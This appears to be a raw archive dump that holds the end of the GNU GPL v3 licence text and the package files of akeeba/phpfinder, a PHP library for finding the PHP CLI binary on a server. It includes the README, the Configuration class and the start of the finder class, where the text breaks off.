for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.PK     \Ea_  _  %  vendor/akeeba/phpfinder/composer.locknu [        {
    "_readme": [
        "This file locks the dependencies of your project to a known state",
        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
    "content-hash": "7781f30ed3e550ed1cbfc9eab4b57a16",
    "packages": [],
    "packages-dev": [],
    "aliases": [],
    "minimum-stability": "stable",
    "stability-flags": [],
    "prefer-stable": false,
    "prefer-lowest": false,
    "platform": {
        "php": ">=7.2.0 <=8.4"
    },
    "platform-dev": [],
    "plugin-api-version": "2.6.0"
}
PK     \F4    %  vendor/akeeba/phpfinder/composer.jsonnu [        {
	"name": "akeeba/phpfinder",
	"type": "library",
	"description": "Locate the PHP CLI binary on the server",
	"require": {
		"php": ">=7.2.0 <=8.4"
	},
	"keywords": [
		"php", "cli"
	],
	"homepage": "https://github.com/akeeba/phpfinder",
	"license": "GPL-3.0-or-later",
	"authors": [
		{
			"name": "Nicholas K. Dionysopoulos",
			"email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
			"homepage": "http://www.dionysopoulos.me",
			"role": "Lead Developer"
		}
	],
	"autoload": {
		"psr-4": {
			"Akeeba\\PHPFinder\\": "src"
		}
	}
}
PK     \TJA  A    vendor/akeeba/phpfinder/LICENSEnu [        Copyright (c) 2024-2025 Akeeba Ltd

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice (including the next paragraph) shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.PK     \<5{  {  !  vendor/akeeba/phpfinder/README.mdnu [        # PHPFinder

Locate the PHP CLI binary on the server.

**Please read the Caveats section thoroughly before using this library.**

## What's this?

This library locates the PHP CLI binary from the web (Apache mod_php, CGI, or FastCGI) execution context.

The environments currently supported are:

* cPanel with EasyPHP
* cPanel on CloudLinux
* Plesk on Linux, and Windows
* XAMPP on Linux, Windows, or macOS
* MAMP on Windows, and macOS
* HomeBrew on macOS
* WAMPServer on Windows
* Generic Linux server (works with Debian, Red Hat, Arch Linux, and their derivative distributions)
* Generic BSD server
* Generic Windows server, including PHP installations in C:\PHP
* Generic macOS server

You can try to locate a specific version of PHP (by `major.minor` or `major.minor.patch` version specification), or just any available PHP version.

## Use case

We have mass-distributed web applications which are meant to be installed and operated by non-technical end users. 

Oftentimes we provide CLI scripts or integrations with such (e.g. integration with Joomla! CLI, or WP-CLI). The user typically needs very precise instructions to execute these CLI scripts, either directly on a terminal or inside a CRON job. 

This requires two things: the path to the PHP CLI executable, and the path to the script they need to execute. The latter is straightforward to determine from within the web application. The former is not. This is what this library does. It tries to locate the PHP CLI binary on the server.

## Basic usage

At a minimum you can do:

```php
$cliPath = \Akeeba\PHPFinder\PHPFinder::make()->getBestPath(PHP_VERSION);
```

This will try to locate the PHP CLI path for the current PHP version. If it fails, it will return NULL.

## Advanced usage

Create and set up a `Configuration` object:

```php
// Check the source comments of the Configuration class to understand what each setting does.
$configuration = \Akeeba\PHPFinder\Configuration::make()
    ->setExtendedBinaryNameSearch(false)
    ->setSoftwareSpecific(false);
```

Create a `PHPFinder` object using the configuration object:

```php
$finder = \Akeeba\PHPFinder\PHPFinder::make($configuration);
```

Search for any available PHP version, or a specific one:

```php
$anyPHP = $finder->getBestPath();
$php83  = $finder->getBestPath('8.3');
```

You can also get all auto-detected PHP folders for a given PHP version:

```php
$anyPHPArray = $finder->getPossiblePaths();
$php83Array  = $finder->getPossiblePaths('8.3');
```

## Caveats

**Server hangs**. The default behaviour of this library is to run the executables discovered using `exec()` to validate that the version number returned by the executable is the expected, as well as validate that the binary is the PHP CLI (and not PHP CGI/FastCGI). This may cause some servers to abort execution, resulting in an HTTP 500 Internal Server Error status code or, worse, a blank page with an HTTP 200 OK status. You can prevent that by disabling these features in the configuration object:

```php
// Check the source comments of the Configuration class to understand what each setting does.
$finder = \Akeeba\PHPFinder\PHPFinder::make(
    \Akeeba\PHPFinder\Configuration::make()
        ->setValidateVersion(false)
        ->setValidateCli(false)
);
```

Another approach is to have your software store a persistent flag before and after using this library so that you can set the correct configuration options. For example:

```php
$validationFlag = $myAppStorage->get('phpfinder_validate') ?? true;
$myAppStorage->set('phpfinder_validate', false);

$finder = \Akeeba\PHPFinder\PHPFinder::make(
    \Akeeba\PHPFinder\Configuration::make()
        ->setValidateVersion($validationFlag)
        ->setValidateCli($validationFlag)
);

$phpPath = $finder->getBestPath(PHP_VERSION);

$myAppStorage->set('phpfinder_validate', true);
```

If the attempt to use this library fails the flag is set to `false` since the server kills the script before we reach the final statement which resets the flag to `true`. Therefore, when the user reloads the page the flag will be `false`, and the library won't fail to execute in this or any subsequent execution. The downside of this approach is that a stark minority of users will experience an error the first time you try to determine the PHP CLI execution path with this library.

**Performance**. Searching for a specific PHP CLI can be slow in some use cases. We strongly recommend caching the results after the first run.

**Accuracy**. This library is trying to strike a balance between speed and accuracy. This may result in a perceived "wrong" PHP path to be returned. We know of the following use cases where this might happen:

* Searching for a PHP version by major and minor (but no patch) version MAY return an older patch version of PHP. This could happen if multiple PHP versions with the same minor version but different full version (including patch), are installed at the same time. For example, if you have PHP 8.3.1 and PHP 8.3.4 installed at the same time, and you search for PHP 8.3, there is no guarantee that PHP 8.3.4 will be returned. 
* If you have multiple installations of the same PHP version across the system, there is no guarantee that the PHP binary you will be returned will be the one belonging in the same installation. For example, you may have a Linux server with PHP installed globally, but also as part of XAMPP. If you run a web script under XAMPP and use this library, you MAY be returned the globally installed PHP CLI version of the same version as your XAMPP PHP version.
* Likewise, if you have multiple PHP installations, and you don't specify a PHP version, there is no guarantee that the path returned will be the latest PHP version, or any particular PHP version. It will be _a_ PHP version found on the server.

**Search by major version**. Searching for a PHP version just by its major version is NOT supported for practical reasons and because minor PHP versions introduce backwards incompatible changes. Searching for PHP 8 could for example return 8.4, or 8.0. You wouldn't know which one it would return in advance, and it might be a version that's incompatible with your software! If you want to simulate this very inefficient and inaccurate search, you can look for PHP x.6, x.5, x.4, x.3, x.2, x.1, and x.0 in this order, returning whichever is found first. Do keep in mind that just because you can doesn't mean you should.

**PHP configuration**. Most servers have a _separate_ configuration for PHP CLI than the one used for the web SAPI (mod_php, CGI, or FastCGI). This is a non-obvious caveat which needs to be communicated to your users. There is no good, fool-proof way to automate using the same configuration across PHP and the web in those environments.PK     \ey    -  vendor/akeeba/phpfinder/src/Configuration.phpnu [        <?php
/**
 * PHPFinder – Locate the PHP CLI binary on the server.
 *
 * @package      PHPFinder
 * @copyright    (c) 2024-2025 Akeeba Ltd
 * @license      MIT
 *
 * @noinspection PhpUnusedPrivateFieldInspection
 */

namespace Akeeba\PHPFinder;

/**
 * PHPFinder Configuration
 *
 * See the individual property comments for a description on what each property controls.
 *
 * @property bool $useConstants
 * @property bool $osSpecific
 * @property bool $softwareSpecific
 * @property bool $extendedBinaryNameSearch
 * @property bool $useWhich
 * @property bool $useUpdateAlternatives
 * @property bool $useWhereIs
 * @property bool $useWhere
 * @property bool $usePHPCommonWinDirsSearch
 * @property bool $validateVersion
 * @property bool $validateCli
 *
 * @method self setUseConstants(bool $value)
 * @method self setOsSpecific(bool $value)
 * @method self setSoftwareSpecific(bool $value)
 * @method self setExtendedBinaryNameSearch(bool $value)
 * @method self setUseWhich(bool $value)
 * @method self setUseUpdateAlternatives(bool $value)
 * @method self setUseWhereIs(bool $value)
 * @method self setUseWhere(bool $value)
 * @method self setUsePHPCommonWinDirsSearch(bool $value)
 * @method self setValidateVersion(bool $value)
 * @method self setValidateCli(bool $value)
 */
final class Configuration
{
	/**
	 * Use PHP constants to find the PHP executable?
	 *
	 * This is superfast, but it only really works if your script is launched from the CLI, using the same PHP version
	 * you are looking for.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $useConstants = true;

	/**
	 * Use OS-specific search methods.
	 *
	 * PHPFinder will use OS-specific commands to locate the possible PHP binary names. Some of these methods are fast,
	 * some are not. It is strongly recommended you leave this enabled, and disable any slow methods using the other
	 * properties.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $osSpecific = true;

	/**
	 * Use methods specific to common prepackaged AMP environments, and common hosting control panels.
	 *
	 * This will look for the most common PHP paths in XAMPP, MAMP (Pro), WAMPServer, cPanel, and Plesk. These are
	 * fairly fast, but you may want to disable them if your software will never run on these environments, or you are
	 * not interested in supporting these environments.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $softwareSpecific = true;

	/**
	 * Enable to search for uncommon PHP binary names.
	 *
	 * When disabled, PHPFinder will look for the standard php, phpXY, and phpX.Y binary names. It will also search for
	 * the cPanel-specific ea-phpXY and CloudLinux alt-phpXY binaries.
	 *
	 * When enabled, it will search for a permutation of various uncommon binary names such as php-cli, phpXY-cli etc.
	 *
	 * Default: true.
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $extendedBinaryNameSearch = true;

	/**
	 * Use `which` to locate the PHP binary.
	 *
	 * Available on Linux and macOS. Moderately slow (about 0.1 second).
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $useWhich = true;

	/**
	 * Use `update-alternatives` to locate the PHP binary.
	 *
	 * Available on Linux (Debian and derivatives). Very fast.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $useUpdateAlternatives = true;

	/**
	 * Use `whereis` to locate the PHP binary.
	 *
	 * Available on Linux and macOS. Very slow (1+ second).
	 *
	 * Default: false
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $useWhereIs = false;

	/**
	 * Use `where` to locate the PHP binary.
	 *
	 * Available on Windows. Fast.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $useWhere = true;

	/**
	 * Search for common PHP installation directories on Windows.
	 *
	 * This looks for PHP installations in d:\PHP, d:\PHPxy, d:\PHPx.y, d:\PHPx.y.z, as well as Program Files and
	 * Program Files (x86). In the above d is one of the available drive letters, and x.y.z is the PHP version you are
	 * looking for.
	 *
	 * This is moderately slow; it depends on how many drive letters you have, and what they are mapped to.
	 *
	 * Default: true
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $usePHPCommonWinDirsSearch = true;

	/**
	 * Validate the version of returned binary.
	 *
	 * When enabled, the binary will be executed with the -v option to allow us to validate that the version it returns
	 * is indeed to version we were told to look for.
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $validateVersion = true;

	/**
	 * Validate the returned binary is a CLI executable.
	 *
	 * Requires $validateVersion.
	 *
	 * When enabled, the result of php_binary -v will be inspected for the `(cli)` specifier which indicates it is a
	 * CLI executable. If disabled, it is possible to get the path to the PHP-CGI binary instead.
	 *
	 * @var    bool
	 * @since  1.0.0
	 */
	private $validateCli = true;

	/**
	 * Returns a new object instance.
	 *
	 * @param   array  $config  The configuration to apply.
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public static function make(array $config = []): self
	{
		$configuration = new self();

		foreach ($config as $key => $value)
		{
			$configuration->{$key} = $value;
		}

		return $configuration;
	}

	/**
	 * Magic property getter.
	 *
	 * @param   string  $name  The property name to get.
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->{$name};
		}

		throw new \InvalidArgumentException(
			sprintf('Undefined property: %s::$%s', get_class($this), $name)
		);
	}

	/**
	 * Magic property setter.
	 *
	 * @param   string  $name   The property name to set.
	 * @param   bool    $value  The value to set the property to.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function __set($name, $value)
	{
		if (property_exists($this, $name))
		{
			$this->{$name} = @boolval($value);
		}

		throw new \InvalidArgumentException(
			sprintf('Undefined property: %s::$%s', get_class($this), $name)
		);
	}

	/**
	 * Magic function call handler.
	 *
	 * Allows you to set configuration parameters using virtual setPropertyName methods which return $this for chaining.
	 *
	 * @param   string  $name       The method name
	 * @param   array   $arguments  Its parameters
	 *
	 * @return  $this  Self for chaining calls
	 * @since   1.0.0
	 */
	public function __call($name, $arguments)
	{
		if (substr($name, 0, 3) !== 'set')
		{
			throw new \BadMethodCallException(
				sprintf('Call to undefined method %s::%s()', get_class($this), $name)
			);
		}

		$name = substr($name, 3);
		$name = strtolower(substr($name, 0, 1)) . substr($name, 1);

		$this->{$name} = boolval($arguments[0]);

		return $this;
	}
}PK     \a$d  $d  )  vendor/akeeba/phpfinder/src/PHPFinder.phpnu [        <?php
/**
 * PHPFinder – Locate the PHP CLI binary on the server.
 *
 * @package   PHPFinder
 * @copyright (c) 2024-2025 Akeeba Ltd
 * @license   MIT
 */

namespace Akeeba\PHPFinder;

/**
 * A class to locate the PHP binary path, optionally for a specific version.
 *
 * @license GPL-3.0-or-later
 * @author  Nicholas K. Dionysopoulos
 */
final class PHPFinder
{
	/**
	 * The Configuration object
	 *
	 * @var    Configuration
	 * @since  1.0.0
	 */
	protected $configuration;

	/**
	 * Returns a new object instance.
	 *
	 * @param   Configuration|null  $configuration  The configuration to use.
	 *
	 * @return  self
	 */
	final public static function make(?Configuration $configuration = null): self
	{
		return new self($configuration);
	}

	/**
	 * Public constructor.
	 *
	 * @param   Configuration|null  $configuration  The optional configuration object.
	 *
	 * @since   1.0.0
	 */
	final public function __construct(?Configuration $configuration = null)
	{
		$this->configuration = $configuration ?? new Configuration();
	}

	/**
	 * Get the best guess path for the requested PHP version's CLI executable.
	 *
	 * If the version is not found, it will return NULL.
	 *
	 * If no version is specified, any PHP CLI binary will be returned; not necessarily the one with the latest PHP
	 * version!
	 *
	 * If no suitable executable is found (there is no PHP CLI executable installed, or it uses an uncommon path) NULL
	 * will be returned as well.
	 *
	 * @param   string|null  $version  The version to look for.
	 *
	 * @return  string|null
	 * @since   1.0.0
	 */
	final public function getBestPath(?string $version = null): ?string
	{
		$info = $this->getBestPathMeta($version);

		return $info === null ? null : $info->path;
	}

	/**
	 * Get the best guess path for the requested PHP version's CLI executable along with its metadata.
	 *
	 * See notes on getBestPath.
	 *
	 * @param   string|null  $version  The version to look for.
	 *
	 * @return  null|object{version: string, cli: bool, path: string}
	 * @since   1.0.0
	 * @see     self::getBestPath
	 */
	final public function getBestPathMeta(?string $version = null): ?object
	{
		$possiblePaths = $this->getPossiblePaths($version);

		if (empty($possiblePaths))
		{
			return null;
		}

		foreach ($possiblePaths as $path)
		{
			$info = $this->analyzePHPVersion($path);

			if ($info->version === null)
			{
				continue;
			}

			if ($this->configuration->validateVersion && strpos($info->version, $version) === false)
			{
				continue;
			}

			if ($this->configuration->validateCli && !$info->cli)
			{
				continue;
			}

			$info->path = $path;

			return $info;
		}

		return null;
	}

	/**
	 * Gets all possible PHP CLI paths available on the server.
	 *
	 * The returned paths might NOT correspond to the correct version. Some paths are generic. Use getBestPath() with
	 * default configuration options to guarantee the accuracy of the result.
	 *
	 * @param   string|null  $version  The version to look for.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	public function getPossiblePaths(?string $version = null): array
	{
		$ret = [];

		// PHP constants
		$ret = array_merge($ret, $this->pathsFromConstants());

		// OS-specific search methods
		$ret = array_merge($ret, $this->pathsUNIX($version));
		$ret = array_merge($ret, $this->pathsUsingWhich($version));
		$ret = array_merge($ret, $this->pathsUsingUpdateAlternatives($version));
		$ret = array_merge($ret, $this->pathsUsingWhereIs($version));
		$ret = array_merge($ret, $this->pathsUsingWhere($version));
		$ret = array_merge($ret, $this->pathsFromCommonWindowsInstallPaths($version));

		// Software-specific
		$ret = array_merge($ret, $this->pathsCPanel($version));
		$ret = array_merge($ret, $this->pathsCloudLinux($version));
		$ret = array_merge($ret, $this->pathsPlesk($version));
		$ret = array_merge($ret, $this->pathsXAMPP($version));
		$ret = array_merge($ret, $this->pathsMAMP($version));
		$ret = array_merge($ret, $this->pathsHomeBrew($version));
		$ret = array_merge($ret, $this->pathsWAMPServer($version));

		return array_filter(
			array_unique($ret),
			function ($filePath) {
				return !empty($filePath) && @is_file($filePath);
			}
		);
	}

	/**
	 * Get possible paths from PHP constants.
	 *
	 * Available on all OS. Fast.
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsFromConstants(): array
	{
		if (!$this->configuration->useConstants)
		{
			return [];
		}

		$ret = [];

		defined('PHP_BINARY') && $ret[] = PHP_BINARY;
		/** @noinspection PhpUndefinedConstantInspection */
		defined('PHP_PATH') && $ret[] = PHP_PATH;
		/** @noinspection PhpUndefinedConstantInspection */
		defined('PHP_PEAR_PHP_BIN') && $ret[] = PHP_PEAR_PHP_BIN;

		return $ret;
	}

	/**
	 * Return the default PHP paths for UNIX compatible systems.
	 *
	 * Available on Linux, BSD, and macOS. Very fast.
	 *
	 * @param   string|null  $version  The optional version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsUNIX(?string $version = null): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->useWhich
			|| !in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD', 'DARWIN'])
		)
		{
			return [];
		}

		$possibleNames = $this->getBinaryNamesForVersion($version);
		$ret           = [];

		foreach ($possibleNames as $binName)
		{
			$ret[] = '/usr/bin/' . $binName;
			$ret[] = '/usr/local/bin/' . $binName;
			$ret[] = '/opt/bin/' . $binName;
		}

		return $ret;
	}

	/**
	 * Get possible PHP paths using `which`.
	 *
	 * Available on Linux and macOS. Moderately slow (about 100 msec).
	 *
	 * @param   string|null  $version  Optional PHP version to look for
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	private function pathsUsingWhich(?string $version = null): array
	{
		if (
			!$this->configuration->osSpecific
			|| !$this->configuration->useWhich
			|| !in_array(strtoupper(PHP_OS_FAMILY), ['LINUX', 'BSD', 'DARWIN'])
		)
		{
			return [];
		}

		if (!function_exists('exec') || !$this->executableExists('which'))
		{
			return [];
		}

		$possibleExecutables = $this->getBinaryNamesForVersion($version);
		$ret                 = [];

		foreach ($possibleExecutables as $executable)
		{
			$which = @exec('which ' . escapeshellarg($executable) . ' 2>/dev/null', $output, $resultCode);

			if ($which === false || $resultCode !== 0)
			{
				continue;
			}

			$paths = explode("\n", $which);
			$paths = array_filter($paths);

			$ret = array_merge($ret, $paths);
		}

		return $ret;
	}

	/**
	 * Find possible PHP paths using `update-alternatives`.
	 *
